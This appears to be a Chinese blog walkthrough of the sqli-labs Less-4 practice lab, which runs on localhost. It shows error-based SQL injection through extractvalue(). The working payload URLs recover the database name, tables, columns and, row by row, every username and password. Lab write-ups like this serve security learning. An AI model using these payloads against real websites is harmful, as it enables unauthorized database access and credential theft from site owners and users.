sqli-labs(Less-4) extractvalue闯关

extractvalue() - Xpath类型函数

1. 确认注入点如何闭合的方式
sqli-labs(Less-4) extractvalue闯关_第1张图片

2. 爆出当前数据库的库名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select database()))) --+

sqli-labs(Less-4) extractvalue闯关_第2张图片
3. 爆出当前数据库的表名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制
sqli-labs(Less-4) extractvalue闯关_第3张图片
通过不断调整limit 0,1 得到users表
sqli-labs(Less-4) extractvalue闯关_第4张图片
4. 爆出表中的字段名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+

sqli-labs(Less-4) extractvalue闯关_第5张图片
通过不断调整limit 0,1 得到所有的字段名id,username,password

5. 获取表中内容

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,username,password) from users limit 0,1))) --+

sqli-labs(Less-4) extractvalue闯关_第6张图片
可在concat中添加分隔符 更方便数据的获取

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,'~',username,'~',password) from users limit 0,1))) --+

sqli-labs(Less-4) extractvalue闯关_第7张图片
通过不断调整limit 0,1 即可得到全部的账号密码

你可能感兴趣的:(sqli-labs,网络安全,web安全)